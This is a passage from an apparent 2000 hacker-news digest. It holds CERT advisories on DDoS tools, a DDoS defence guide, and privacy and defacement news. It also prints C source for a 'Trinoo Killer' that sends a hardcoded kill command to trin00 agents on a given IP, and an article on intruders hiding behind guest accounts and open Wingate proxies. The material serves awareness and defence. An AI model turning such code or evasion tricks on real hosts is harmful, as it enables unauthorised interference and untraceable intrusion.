In addition, it will soon be available via the automatic update feature
that is part of Mac OS 9.
References
[1] RFC2267, Network Ingress Filtering: Defeating Denial of Service Attacks
which employ IP Source Address Spoofing , P. Ferguson, D. Senie, The
Internet Society, January, 1998, available at
http://info.internet.isi.edu:80/in-notes/rfc/files/rfc2267.txt
[2] Results of the Distributed-Systems Intruder Tools Workshop, The CERT
Coordination Center, December, 1999, available at
http://www.cert.org/reports/dsit_workshop.pdf
[3] The "Mac Attack," a Scheme for Blocking Internet Connections, John A.
Copeland, December, 1999, available at http://www.csc.gatech.edu/~copeland.
Temporary alternate URL: http://people.atl.mediaone.net/jacopeland
The CERT Coordination Center thanks Jeff Schiller of the Massachusetts
Institute of Technology, Professor John Copeland and Jim Hendricks of the
Georgia Institute of Technology, Jim Ellis of Sun Microsystems, Wietse
Venema of IBM, Rick Forno of Network Solutions, Inc., Dave Dittrich of the
University of Washington, Steve Bellovin of AT&T, Jim Duncan and John
Bashinski of Cisco Systems, and MacInTouch for input and technical
assistance used in the construction of this advisory.
This document is available from:
http://www.cert.org/advisories/CA-99-17-denial-of-service-tools.html
CERT/CC Contact Information
Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1
412-268-6989 Postal address: CERT® Coordination Center Software Engineering
Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A.
CERT personnel answer the hotline 08:00-20:00 EST(GMT-5) / EDT(GMT-4)
Monday through Friday; they are on call for emergencies during other hours,
on U.S. holidays, and on weekends.
Using encryption
We strongly urge you to encrypt sensitive information sent by email. Our
public PGP key is available from
http://www.cert.org/CERT_PGP.key
If you prefer to use DES, please call the CERT hotline for more
information.
Getting security information
CERT publications and other security information are available from our web
site
http://www.cert.org/
To be added to our mailing list for advisories and bulletins, send email to
cert-advisory-request@cert.org and include SUBSCRIBE your-email-address in
the subject of your message.
Copyright 1999 Carnegie Mellon University. Conditions for use, disclaimers,
and sponsorship information can be found in
http://www.cert.org/legal_stuff.html
* "CERT" and "CERT Coordination Center" are registered in the U.S. Patent
and Trademark Office.
NO WARRANTY Any material furnished by Carnegie Mellon University and the
Software Engineering Institute is furnished on an "as is" basis. Carnegie
Mellon University makes no warranties of any kind, either expressed or
implied as to any matter including, but not limited to, warranty of fitness
for a particular purpose or merchantability, exclusivity or results
obtained from use of the material. Carnegie Mellon University does not make
any warranty of any kind with respect to freedom from patent, trademark, or
copyright infringement.
Revision History
December 28, 1999: Initial release
December 28, 1999: Added information regarding a patch from Apple
-=-
CERT:
CERT® Advisory CA-2000-01 Denial-of-Service Developments
This advisory is being published jointly by the CERT Coordination Center
and the Federal Computer Incident Response Capability (FedCIRC).
Original release date: January 3, 2000 Source: CERT/CC and FedCIRC
A complete revision history is at the end of this file.
Systems Affected
All systems connected to the Internet can be affected by
denial-of-service attacks.
I. Description
Continued Reports of Denial-of-Service Problems
We continue to receive reports of new developments in denial-of-service
tools. This advisory provides pointers to documents discussing some of the
more recent attacks and methods to detect some of the tools currently in
use. Many of the denial-of-service tools currently in use depend on the
ability of an intruder to compromise systems first. That is, intruders
exploit known vulnerabilities to gain access to systems, which they then
use to launch further attacks. For information on how to protect your
systems, see the solution section below.
Security is a community effort that requires diligence and cooperation from
all sites on the Internet.
Recent Denial-of-Service Tools and Developments
One recent report can be found in CERT Advisory CA-99-17.
A distributed denial-of-service tool called "Stacheldraht" has been
discovered on multiple compromised hosts at several organizations. In
addition, one organization reported what appears to be more than 100
different connections to various Stacheldraht agents. At the present time,
we have not been able to confirm that these are connections to Stacheldraht
agents, though they are consistent with an analysis provided by Dave
Dittrich of the University of Washington, available at
http://staff.washington.edu/dittrich/misc/stacheldraht.analysis
Also, Randy Marchany of Virginia Tech released an analysis of a TFN-like
toolkit, available at
http://www.sans.org/y2k/TFN_toolkit.htm
The ISS X-Force Security Research Team published information about trin00
and TFN in their December 7 Advisory, available at
http://xforce.iss.net/alerts/advise40.php3
A general discussion of denial-of-service attacks can be found in a CERT/CC
Tech Tip available at
http://www.cert.org/tech_tips/denial_of_service.html
II. Impact
Denial-of-service attacks can severely limit the ability of an organization
to conduct normal business on the Internet.
III. Solution
Solutions to this problem fall into a variety of categories.
Awareness
We urge all sites on the Internet to be aware of the problems presented by
denial-of-service attacks. In particular, keep the following points in
mind:
Security on the Internet is a community effort. Your security depends
on the overall security of the Internet in general. Likewise, your
security (or lack thereof) can cause serious harm to others, even if
intruders do no direct harm to your organization. Similarly, machines
that are not part of centralized computing facilities and that may be
managed by novice or part-time system administrators or may be
unmanaged, can be used by intruders to inflict harm on others, even if
those systems have no strategic value to your organization.
Systems used by intruders to execute denial-of-service attacks are
often compromised via well-known vulnerabilities. Keep up-to-date with
patches and workarounds on all systems.
Intruders often use source-address spoofing to conceal their location
when executing denial-of-service attacks. We urge all sites to
implement ingress filtering to reduce source address spoofing on as
many routers as possible. For more information, see RFC2267.
Because your security is dependent on the overall security of the
Internet, we urge you to consider the effects of an extended network
or system outage and make appropriate contingency plans where
possible.
Responding to a denial-of-service attack may require the cooperation
of multiple parties. We urge all sites to develop the relationships
and capabilities described in the results of our recent workshop
before you are a victim of a distributed denial-of-service attack.
This document is available at
http://www.cert.org/reports/dsit_workshop.pdf
Detection
A variety of tools are available to detect, eliminate, and analyze
distributed denial-of-service tools that may be installed on your network.
The National Infrastructure Protection Center has recently announced a tool
to detect trin00 and TFN on some systems. For more information, see
http://www.fbi.gov/nipc/trinoo.htm
Part of the analysis done by Dave Dittrich includes a Perl script named gag
which can be used to detect stacheldraht agents running on your local
network. See Appendix A of that analysis for more information.
Internet Security Systems released updates to some of their tools to aid
sites in detecting trin00 and TFN. For more information, see
http://www.iss.net/cgi-bin/dbt-display.exe/db_data/press_rel/release/1
22899199.plt
Prevention
We urge all sites to follow sound security practices on all
Internet-connected systems. For helpful information, please see
http://www.cert.org/security-improvement http://www.sans.org
Response
For information on responding to intrusions when they do occur, please see
http://www.cert.org/nav/recovering.html
http://www.sans.org/newlook/publications/incident_handling.htm
The United States Federal Bureau of Investigation is conducting criminal
investigations involving TFN where systems appears to have been
compromised. U.S. recipients are encouraged to contact their local FBI
Office.
We thank Dave Dittrich of the University of Washington, Randy Marchany of
Virginia Tech, Internet Security systems, UUNet, the Y2K-ICC, the National
Infrastructure Protection Center, Alan Paller and Steve Northcutt of The
SANS Institute, The MITRE Corporation, Jeff Schiller of The Massachusetts
Institute of Technology, Jim Ellis of Sun Microsystems, Vern Paxson of
Lawrence Berkeley National Lab, and Richard Forno of Network Solutions.
This document is available from:
http://www.cert.org/advisories/CA-2000-01.html
CERT/CC Contact Information
Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1
412-268-6989 Postal address: CERT® Coordination Center Software Engineering
Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A.
CERT personnel answer the hotline 08:00-20:00 EST(GMT-5) / EDT(GMT-4)
Monday through Friday; they are on call for emergencies during other hours,
on U.S. holidays, and on weekends.
Using encryption
We strongly urge you to encrypt sensitive information sent by email. Our
public PGP key is available from
http://www.cert.org/CERT_PGP.key
If you prefer to use DES, please call the CERT hotline for more
information.
Getting security information
CERT publications and other security information are available from our web
site
http://www.cert.org/
To be added to our mailing list for advisories and bulletins, send email to
cert-advisory-request@cert.org and include SUBSCRIBE your-email-address in
the subject of your message.
Copyright 2000 Carnegie Mellon University. Conditions for use, disclaimers,
and sponsorship information can be found in
http://www.cert.org/legal_stuff.html
* "CERT" and "CERT Coordination Center" are registered in the U.S. Patent
and Trademark Office.
NO WARRANTY Any material furnished by Carnegie Mellon University and the
Software Engineering Institute is furnished on an "as is" basis. Carnegie
Mellon University makes no warranties of any kind, either expressed or
implied as to any matter including, but not limited to, warranty of fitness
for a particular purpose or merchantability, exclusivity or results
obtained from use of the material. Carnegie Mellon University does not make
any warranty of
any kind with respect to freedom from patent, trademark, or copyright infringement.
@HWA
116.0 Trinoo Killer Source Code
~~~~~~~~~~~~~~~~~~~~~~~~~
Source: PSS http://packetstorm.securify.com/
/*
* AFRO-PRODUCTIONS.COM
*
* By your buddies at afro productions!
*
* This program kills trino nodes on version 1.07b2+f3 and below.
*
*
*/
#include <stdlib.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#define KILL "d1e l44adsl d1e\n"
int main(int argc, char **argv)
{
int sock;
struct sockaddr_in s;
struct hostent *h;
char *host;
if (argc == 1)
{
fprintf(stdout,"Usage: %s <ip>\n",argv[0]);
return 0;
}
host = argv[1];
sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
s.sin_family = AF_INET;
s.sin_addr.s_addr = inet_addr(host);
s.sin_port = htons(27444);
if (s.sin_addr.s_addr == -1)
{
h = gethostbyname(host);
if (!h)
{
fprintf(stdout,"%s is an invalid target.\n",host);
return 0;
}
memcpy(&s.sin_addr.s_addr,h->h_addr,h->h_length);
}
sendto(sock,KILL,strlen(KILL),0,(struct sockaddr *)&s,sizeof(s));
fprintf(stdout,"Packet sent to target %s.\n",host);
return 1;
}
@HWA
117.0 Mixter's guide to defending against DDoS attacks
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-----BEGIN PGP SIGNED MESSAGE-----
10 Proposed 'first-aid' security measures
against Distributed Denial Of Service attacks
-----------------------------------------------
To say the least, coping with all the causes and security vulnerabilities
that can be exploited for compromising hosts and launching Denial Of Service
from them is very complex. In the long term, there is no simple, single method
for protecting against such attacks; instead, extensive security and protection
measures will have to be applied. For everyone whose systems are currently at
risk, or who is generally worried, I am compiling a small list of easy and fast
to implement methods to protect against those attacks.
- Mixter
Important things to do as a current or potential
victim of packet flooding Denial Of Service:
1) Avoid FUD
FUD stands for fear, uncertanity, and doubt. The recent attacks have
obviously been launched with provocating hysteria and overreactions in mind,
due to the victims that have been targeted. It is very important to
realize, that only a small amount of companies and hosts do have to
fear becoming a victim of Denial Of Services. Those include top-profile
sites like search engines, the most popular e-commerce and stock companies,
IRC chat servers, as well as news magazines (for obvious purposes). If you are
not amongst them, there is little reason for you to worry about becoming a
direct target of DoS attacks.
2) Arrange with your Internet uplink provider(s)
It is very important that you have the assistance and cooperation from your
direct backbone and uplink network providers. The bandwidth used in DDoS
attacks is so major, that your own network probably cannot handle it,
regardless of what you try. Talk to your uplinks, and make sure that they
agree to helping you with implementing routing access control that limits
the amount bandwidth and different source addresses that are let through
to your network at once. Ideally, your uplink should be willing to monitor
or let you access their routers in the case of an actual attack.
3) Optimize your routing and network structure
If you don't have only a host, but a bigger network, then tune your
routers to minimize the impact of DoS attacks. To prevent SYN flooding
attacks, set up the TCP interception feature. Details about this can be
found at http://www.cisco.com or at your router manufacturer's hotline.
Block the kinds of UDP and ICMP messages that your network doesn't require
to operate. Especially permitting outgoing ICMP unreach messages could
multiply the impact of a packet flooding attack.
4) Optimize your most important publically accessible hosts
Do the same on the hosts that can be potential targets. Deny all traffic
that isn't explicitly needed for the servers you run. Additionally,
multi-homing (assigning many different IPs to the same hostname), will
make it a lot harder for the attacker. I suggest that you multi-home your
web site to many physically different machines, while the HTML index site
on those machines may only contain a forwarding entry to the pages on
your actual, original web server.
5) During ongoing attacks: start countermeasures as soon as possible
It is important that you start the backtracking of packets as soon as
possible, and contact any further uplink providers, when traces indicate
that the packet storm came over their networks. Don't rely on the source
addresses, as they can be practically be chosen arbitrarily in DoS
attacks. The overall effort of being able to determine origins of spoofed
DoS attacks depends on your quick action, as the router entries that allow
traffic backtracking will expire a short time after the flood is halted.
Important things to do as a current or potential victim
of security compromise, break-in, and flood agent installation.
6) Avoid FUD
As a potential victim of a compromise, you should as well try not to
overreact, instead take rational and effective actions fast. Note that the
current Denial Of Service Servers have only proven to be written for and
installed on Linux and Solaris systems. They are probably portable to
*BSD* systems, but since those are usually more secure, it should not be
a big problem.
7) Assure that your hosts are not compromised and secure
There are many recent vulnerability exploits, and a lot more of older
exploits out. Check exploit databses, for example at securityfocus.com,
or packetstorm.securify.com, to make sure that the versions of your server
software are not proven to be vulnerable. Remember, intruders HAVE TO use
existent vulnerabilities to be able to get into your systems and install
their programs. You should be reviewing your server configuration,
looking for security glitches, running recently updated software versions,
and, this is most important, be running the minimum of services that you
really need. If you follow all of these guidelines, you can consider yourself
to be secure and protected from compromises to a reasonable extent.
8) Audit your systems regularly
Realize that you are responsible for your own systems, and for what is
happening with them. Learn sufficiently enough about how your system and
your server software operates, and review your configuration and the security
measures that you apply frequently. Check full disclosure security sites
for new vulnerabilities and weaknesses that might be discovered in the
future in your operating system and server software.
9) Use cryptographic checking
On a system, on which you have verified that it has not already been
broken into, or compromised, you are urged to set up a system that generates
cryptographic signatures of all your binary and other trusted system files,
and compare the changes to those files periodically. Additionally, using a
system where you store the actual checksums on a different machine or
removable media, to which a remote attacker cannot have access, is
strongly recommended. Tools that do this, e.g. tripwire, can be found on
security sites, like packetstorm.securify.com, and most public open source
ftp archives. Commercial packages are also available, if you prefer them.
10) During ongoing attacks: shut down your systems immediately and investigate
If you detect an attack emerging from your networks or hosts, or if you
are being contacted because of this, you must immediately shut down your
systems, or at least disconnect any of the systems from any network. If
such attacks are being run on your hosts, it means that the attacker has
almost-full control of the machines. They should be analyzed, and then
reinstalled. You are also encouraged to contact security organisations, or
emergency response teams. CERT (www.cert.org) or SANS (www.sans.org) are some
places where you can always request assistance after a compromise. Also
keep in mind, that providing these organisations the data from your
compromised machine(s) left by the attacker is important, because it will
help them tracking down the origin of the attacks.
-----BEGIN PGP SIGNATURE-----
Version: PGP 6.5.1
iQEVAwUBOKQY5rdkBvUb0vPhAQHkyQf9GQlwQWfJTy3QSXobwijbF+fpuUt5TOwS
6kz8JkdMpCz3hyrVNSuixvR9Z7RTfriHTn6Mk6j2EtXBtcvqkxZfP6Gh4k+PlnLK
YYF0fCgT9tK62SqOrZS1fvSSDGS+s/k6hys2tb3vrVhkappTi8eynihLe6v6BnL2
/cAuck4ACGruaLxqwMJu16tY83OsiTV/StAVPivQpaBz1KeWN4MxJc568/Y/wUsx
xfwjgncNflYCsMnGEMaVuPYeaPkeNXBn2NtwTKN3EVcga4/BgqVo1VrfxBinBNEt
AZBpMk16Gql82BmXTaFuLnYxJ7TLiHZVhiq6l6DYwws+MjpjT5IiDw==
=g2Lj
-----END PGP SIGNATURE-----
@HWA
118.0 HNN: Feb 9th; Court Authorizes Home Computer Search
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Mike
Northwest Airlines has received permission from a
Federal Court to search the home computers of a dozen
flight attendants. The search would look for evidence,
incriminating emails or other documents. It is believed
that the employees helped to organize a sickout at the
airline. The search is currently on hold pending a
possible settlement of the airline's lawsuit against the
flight attendants union.
Scary quote of the day: "Business speech is not subject
to the same protections as political speech, You can't
say whatever you want about a company." - John
Roberts, Minneapolis Attorney
The Star Tribune
http://www.startribune.com/viewers/qview/cgi/qview.cgi?template=biz_a_cache&slug=priv0208
Court authorizes search of Northwest employees' home computers
Eric Wieffering and Tony Kennedy Star Tribune
Tuesday, February 8, 2000
Northwest Airlines last week began court-authorized searches of the home
computers of between 10 and 20 flight attendants, looking for private
e-mail and other evidence that the employees helped to organize a sickout
at the airline over the New Year's holiday.
The search has since been suspended pending a temporary settlement of the
airline's lawsuit against Teamsters Local 2000, the union representing
11,000 flight attendants. But privacy advocates and attorneys not involved
with the case say Northwest's action may embolden other companies to more
aggressively monitor what employees say and do online from their home
computers.
"If Northwest succeeds in gaining access to the hard drives of the home
computers of its employees, it will certainly put a chill on the uses
employees everywhere make of their home computers," said Beth Givens,
director of the Privacy Rights Clearinghouse in San Diego.
Northwest's action comes at a time when bills to protect individual
privacy have been introduced at the state and national level. In addition,
an increasing number of employees are learning, to their dismay, that
companies have the right to monitor their online activities at work. Last
month, for example, the New York Times fired 23 employees for sharing
bawdy e-mail messages.
Northwest defended the search, noting that a federal court had authorized
it.
"In the age we live in, the normal course of discovery includes taking
depositions, producing documents and these days more than ever looking
into the content of computers," said Jon Austin, a spokesman for
Northwest.
"So many documents and communications these days are purely electronic in
nature," Austin said.
But companies have rarely sought to search the home computers of their
employees. In the past, most such searches usually have been limited to
cases involving workers who've been accused of stealing company files,
passing on trade secrets to competitors or using insider information to
profit on the trading of company stock.
Nor is all speech on the Internet protected by the First Amendment.
Increasingly, courts have been willing to help companies crack down on
so-called "cybersmearing" -- bad-mouthing companies or their management
online.
"Business speech is not subject to the same protections as political
speech," said John Roberts, a Minneapolis attorney who specializes in
cyberlaw. "You can't say whatever you want about a company."
The get-tough strategy is a new one for Northwest, too. In the spring of
1998, the company's mechanics, frustrated by the pace of contract
negotiations, began an unauthorized work slowdown that forced flight
delays and hundreds of cancellations. Union leaders disclaimed any
knowledge or authorization of the campaign, which employees advocated on
Web sites and message boards.
Last month, however, Northwest sued the flight attendants union and some
of its members, alleging they had violated federal labor laws by
orchestrating a sickout. Judge Frank agreed with Northwest and issued a
temporary restraining order that prohibited the union from advocating any
work disruptions.
New legal ground
Still, the Northwest case appears to break new ground because, in addition
to searching the office computers of union officials, Northwest got
permission to search their home computers and the home computers of
several rank-and-file employees, including Kevin Griffin and Ted Reeve.
The temporary settlement in the suit does not apply to Griffin and Reeve.
The judge agreed to put the suit on hold as it pertains to the union and
19 individuals who are represented by the union's attorneys. But Griffin
and Reeve, who are not represented by union attorneys because they are not
union officers, are still subject to the company's discovery efforts and
to a possible injunction against them.
"This kind of precedent could have a very chilling effect on the exercise
of speech rights, and could set a very bad precedent for privacy," said
Jerry Berman, executive director for the Center for Democracy and
Technology, a leading privacy rights organization based in Washington,
D.C.
Like most flight attendants, Griffin and Reeve do not use a computer at
work. But they do operate online message boards where flight attendants
have vented their frustration toward the company and the union leadership.
Griffin's message board, http://www.nwaflightattendants.com, included
anonymous postings calling for a sickout, but they were usually followed
by urgings from Griffin that participants not advocate illegal activities.
Northwest hired two computer forensic experts from Ernst & Young to copy
the hard drives of the 21 individuals named in the lawsuit. The judge
limited the search to union activities relating to the sickout or e-mail
to 43 individuals, well beyond the number of people named in the original
lawsuit.
"This is really an extension beyond established law," said Marshall
Tanick, a Minneapolis attorney who specializes in workplace and privacy
issues. "How different is this from wiretapping somebody's phone?"
Personal data
Barbara Harvey, a Detroit-based attorney representing Griffin and Reeve,
said the situation has created tremendous anxiety about the possible loss
of "highly personal" information.
"We are trusting them [Ernst & Young] totally. We don't know them. We
didn't hire them. In fact, they were hired by Northwest. But we are put
into the position of having to trust them," she said.
Griffin, a veteran Northwest flight attendant based in Honolulu,
surrendered his Packard Bell desktop and Fujitsu laptop at the Ernst &
Young office in Honolulu. He was met there by two forensic examiners who
flew to Honolulu from Washington, D.C., and Texas.
"I didn't think they had the right to come and get your home computer," he
said.
The threat of a court-authorized search of home computers has already had
one measurable impact: Postings to a rank-and-file Web site that was
openly critical of both union management and the company have slowed to a
trickle.
"If you're Northwest Airlines, you're probably smiling about that," said
Paul Levy, a lawyer for Ralph Nader's Public Citizen Litigation Group,
which also represents Griffin and Reeve.
Northwest might not be the only party pleased to see the Web site go
quiet. Griffin's Web site and an organized e-mail campaign were
instrumental in rallying opposition that defeated a tentative contract
agreement that was reached last June and endorsed by the union's top
leaders, including Teamsters General President James Hoffa.
Asked why the union didn't fight harder against the effort to search
employees' home computers, Billie Davenport, president of Teamsters Local
2000, said the union complied with the discovery request because it felt
it had nothing to hide.
'Was enough protection'
"We had voiced concern over people's privacy. There was an
invasion-of-privacy issue," Davenport said. "But we believe there was
enough privacy protection."
She said Ernst & Young's computer forensic examiners spent two full days
in the union's offices last week, copying hard drives.
Griffin said his Web site has had more traffic than ever in the past
month, but far fewer postings from visitors. Of those who aren't afraid to
comment in the open forum section of the Web site, a much smaller
percentage of the writers are identifying themselves, Griffin said.
"It's like they are running scared, with good reason," Griffin said.
@HWA
119.0 HNN: Feb 9th; MPAA Makes Deceptive Demands
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Lance Link
Not content with restraining orders against named
defendants obtained through lawsuits filed by the
DVDCCA and the "big 8" the MPAA has now started
sending its own cease-and desist letters to people who
aren't even covered by the court rulings. Peter Junger,
a law professor at Case Western University, picks apart
an MPAA letter sent to John Young, maintainer of the
superb cryptome.org archives.
MPAA Letter
http://cryptome.org/dvd-mpaa-ccd.htm
Junger's Analysis
http://www.cs.ucl.ac.uk/staff/I.Brown/archives/ukcrypto/1199-0100/msg00639.html
@HWA
120.0 HNN: Feb 9th; Medical Sites Give Out Info
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by no0ne
Researchers at the Health Privacy Project at
Georgetown University have released a study that
shows that most medical web sites share surfers
collected data with other companies. These web sites
have privacy policies clearly posted however the sites
are not following their own policies.
Fairfax IT
http://it.fairfax.com.au/e-commerce/20000208/A4140-2000Feb7.html
Fears for security on medical websites
Tuesday 8 February 2000
MEDICAL Web sites say they protect the privacy of visitors but often share
the information they collect with other companies, a new study has found.
That means a visitor seeking information on, say, erectile dysfunction
might unknowingly be alerting online marketers to his condition.
"We found that almost across the board, the privacy practices did not match
the policies," said Janlori Goldman of the Health Privacy Project at
Georgetown University, who conducted the research that went into the report
released at an e-Health ethics summit of large online health information
providers.
The 21 leading health sites reviewed appeared to understand the depth of
consumer concerns about privacy, Goldman said, noting that they prominently
sported privacy policies. But the companies weren't following through, he
said. "They're giving people a false sense of confidence and a false sense
of trust."
Consumers are turning to the Internet for medical information in record
numbers, but a recent survey shows that privacy remains a strong concern.
The poll, conducted for the California HealthCare Foundation, found that 75
per cent of people were concerned about health websites passing on personal
data without permission and 17 per cent said they didn't go online for such
information because of privacy concerns.
The report compared consumer health care sites on the Internet to gawky
adolescents - with plenty of abilities but little self-control.
WASHINGTON POST
@HWA
121.0 HNN: Feb 9th;FTC Investigates Amazon Subsidiary on use of Customer Info
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by janoVd
The Federal Trade Commission has begun an
investigation into Alexa Internet, a subsidiary of
Amazon.com, concerning the companies use of the
private customer data. Alexa Internet and its software
tracks where users go on the World Wide Web to
provide related Web links and other data. The informal
FTC investigation into Alexa has come after charges
that companies software secretly intercepts personal
data and sends that information to third parties,
including Alexa's parent company, Amazon.com.
Associated Press - via Nando Times
http://www.nandotimes.com/technology/story/body/0,1634,500165488-500210086-500972125-0,00.html
Amazon.com subsidiary target of FTC probe, two lawsuits
Copyright © 2000 Nando Media Copyright © 2000 Associated Press
By MICHAEL J. MARTINEZ
SEATTLE (February 9, 2000 1:51 a.m. EST http://www.nandotimes.com) - Alexa
Internet, a subsidiary of online retail giant Amazon.com, and its software
are the subject of an "informal" investigation by the Federal Trade
Commission, according to a document filed this week with the U.S.
Securities and Exchange Commission.
Amazon.com Inc. also said a pair of lawsuits filed against Alexa over use
of private customer data are without merit.
Alexa's software, which is downloaded and installed on Web browsers like
Netscape's Navigator and Microsoft's Internet Explorer, tracks where users
go on the World Wide Web in order to provide related Web links and other
data.
The two lawsuits mentioned in the SEC filing made Monday allege that
Alexa's software secretly intercepts personal data and sends that
information to third parties, including Alexa's parent company,
Amazon.com.
"We are cooperating completely with the FTC on an informal, voluntary
basis," said Alexa spokeswoman Dia Cheney. "As for the lawsuits, we
believe the claims have no merit."
The FTC would not comment on its investigation.
Computer security consultant Richard Smith, who found the possible privacy
problems in Alexa's software, said the privacy concern is in the way Alexa
tracks Web pages in order to provide related links. The system records the
entire address of each Web page. On some Web sites, those addresses
could contain customer data.
"Some (Web addresses) may contain personal information such as mailing
addresses or customer account numbers," the Brookline, Mass.-based Smith
said. "It's conceivable that someone like Alexa could tie it all together
with your surfing patterns and create a profile."
The lawsuits allege that the San Francisco-based Alexa is doing that -
combining information gleaned from Web addresses with Amazon.com's
customer accounts. Both companies deny the accusations. Alexa would not
identify where the suits were filed.
Cheney noted that Web usage patterns and customers' data are stored in
separate databases and are not linked.
Both Amazon and Alexa said Tuesday that personal data that Alexa gathers
remains on Alexa's databases and is not made available to Amazon.
Amazon.com has a service it calls "zBubbles," which offers Alexa users the
ability to buy certain products based on Internet sites they visit. For
example, someone visiting a site about a handheld computer might click on
a zBubble to get more information on how to buy the device from
Amazon.
However, the zBubbles do not access Amazon.com accounts or take such
information from the users' computer, according to the company.
"This is not transactional information," said Amazon spokesman Bill Curry.
"This is a service that Alexa has on its product. It doesn't funnel into
us."
@HWA
122.0 HNN: Feb 9th; Sys Admins Possibly At Fault in Japanese Defacements
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by William Knowles
Japanese officials are digging deeper into the
investigation of the recent defacements of several
government web sites. Observers have asked the
question of whether the system administrators lived up
to their obligations as operators of Web site servers.
Daily Yomiuri
http://www.yomiuri.co.jp/newse/0208cr21.htm
Sites hacked with IDs, passwords
Akiko Kasamaand Masato Takahashi Yomiuri Shimbun Staff Writers
The hackers behind a recent series of invasions of government-run Web
sites may have gained access to the sites by stealing the user names and
passwords belonging to the engineers operating the systems, according to
investigation sources.
The hackers may have replaced the user names and passwords with new ones
after illegally entering computer servers that operate the Web sites.
The hackers are also suspected of erasing communications records--known as
logs--in an attempt to remove information that could help trace them.
Currently, specialists and investigators are trying to work out how
hackers gained access to the Web site servers. The sites broken into
include those run by the Science and Technology Agency and the National
Institute for Research and Advancement (NIRA), an affiliate of the
Economic Planning Agency.
The computer servers were running under two kinds of operating systems.
Investigators are increasingly convinced that the engineers managing the
systems failed to properly set up the servers when they entered their user
information into the systems.
Observers question whether the system managers lived up to their
obligations as operators of Web site servers.
System managers are in charge of running and overseeing information
systems and computer networks at companies and government offices. Their
status is almost godlike regarding computer security. They issue user
names to other users, have the authority to decide the framework of each
organization's computer security system and are able to erase logs that
record the sender, time and place of origin of messages.
After the Science and Technology Agency Web site was broken into on Jan.
24 and 26, access to the site was tested using the user name and password
of the official system manager. The site, however, could not be accessed
as the user name and password were not recognized after a hacker had
created a new password.
After the NIRA site was broken into on Jan. 26, officials found that the
hacker had impersonated a system manager using a user name and password of
the hacker's own invention, as the site had not been set up to recognize
only the system manager's user name and password.
The logs--the only means of tracing the hacker--were erased under the name
of system managers on both sites.
Hackers broke into two kinds of operating systems in the recent cases.
They usually use special hacking software to scout out bugs left during
programming on the operating system and the software for creating Web
sites. They then input specific commands to obtain user names and
passwords.
Hackers in the recent cases might have obtained user names and passwords
through uncorrected bugs. Nonetheless, the NIRA site case shows that
hackers did not hesitate to take advantage of slack site management, the
sources said.
Hacking into a system to obtain a user name and password involves
searching for an unlocked port. Portscanning is a hacking tool that does
this automatically.
Portscanning was used in more than 12,000 intrusions into the National
Personnel Authority and the authority's Kinki regional office sites, which
stores government employee exam information.
The deleted logs make tracing the hackers in the recent cases difficult.
Also, as hackers usually use a number of servers to try to invade a
targeted site, tracing failed hacking attempts does not help much in
identifying the Web site trespassers.
If hacking routes cross national boundaries, jurisdiction and national
interest issues also come into play.
Although investigators traced illegal entries to the sites of The Asahi
Shimbun and The Mainichi Shimbun to a South Korean provider, they were
unable to get any further leads.
The series of hacking cases has prompted several Internet security
companies to begin offering instruction on security measures and to put
antihacking goods on the market.
Asgent Inc., a security software company based in Chuo Ward, Tokyo, will
hold a free seminar on Feb. 16 and 17 targeting company computer system
managers and focusing on the skills needed to prevent hacking and
transform the contents of hacked Web sites. For more information, call the
Asgent at (03)5643-2561.
The Japanese unit of Network Associates Inc., based in Minato Ward, Tokyo,
has started distributing free samples of CyberCop Monitor, its software
for detecting illegal Web site access in real time. The samples will be
sent out for free until the end of March to those who complete the
application form on the company's Web site at http://www.nai.com/japan.
@HWA
123.0 HNN: Feb 9th; Anonymity and Tracking of the Malicious Intruder
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Apocalyse Dow
Malicious intruders still use temporary guest accounts,
unrestricted proxy servers, buggy Wingate servers, and
anonymous accounts to roam unfettered through the
internet. One would think that some of these old holes
would be patched by now.
InfoWorld
http://www.idg.net/go.cgi?id=221983
January 18, 1999
Tricks of the trade obscure hacker tracks and make anonymity easily attainable
Ever wonder how hackers can spend so much time online and rarely get caught?
After all, everything they do on the Internet should be logged, right? Web
hits, FTP sessions, Telnet connections, newsgroup postings, burps, and coughs
should all be traceable, right? Then how do they pillage and plunder with such
ease?
In the good old days, compromising university or government accounts and
using them to bounce around the Internet was widespread. Hackers still
use these techniques, but they cover their tracks. Temporary guest
accounts, unrestricted proxy servers, buggy Wingate servers, and
anonymous accounts can keep hackers carefree.
Hackers can become invisible on the Internet by obtaining a test account
from an ISP. A hacker can call a small ISP, profess interest, and open a
guest account for a couple of weeks by giving false information. Then,
using Telnet, the unwanted guest can connect to any other compromised
account.
University computers are notorious for their easy accessibility to the
public. Hackers can take advantage of the lack of monitoring to store the
majority of their scripts and tools on the university system. And many
universities give out free shell or Internet accounts to "students"
supplying little more than a valid name and student registration number.
From there they can exploit old Wingate servers (www.wingate.com) that
allow Telnet redirection by default. Discovered in early 1998, this bug
permits unfettered Telnet access to anyone on the Internet through a
Wingate proxy server. The bug has been fixed, but many sites have not yet
applied the fix. Scanning a list of Wingate servers discovered at a
popular hacker Web site, we found at least five (out of 127) machines
still vulnerable to this bug. If you use Wingate, be sure to download
Version 3.0, which fixes this and other problems.
Anonymous surfing
Proxy servers let small organizations protect their internal systems. But
an improperly configured system can be vulnerable. Be sure to scan the
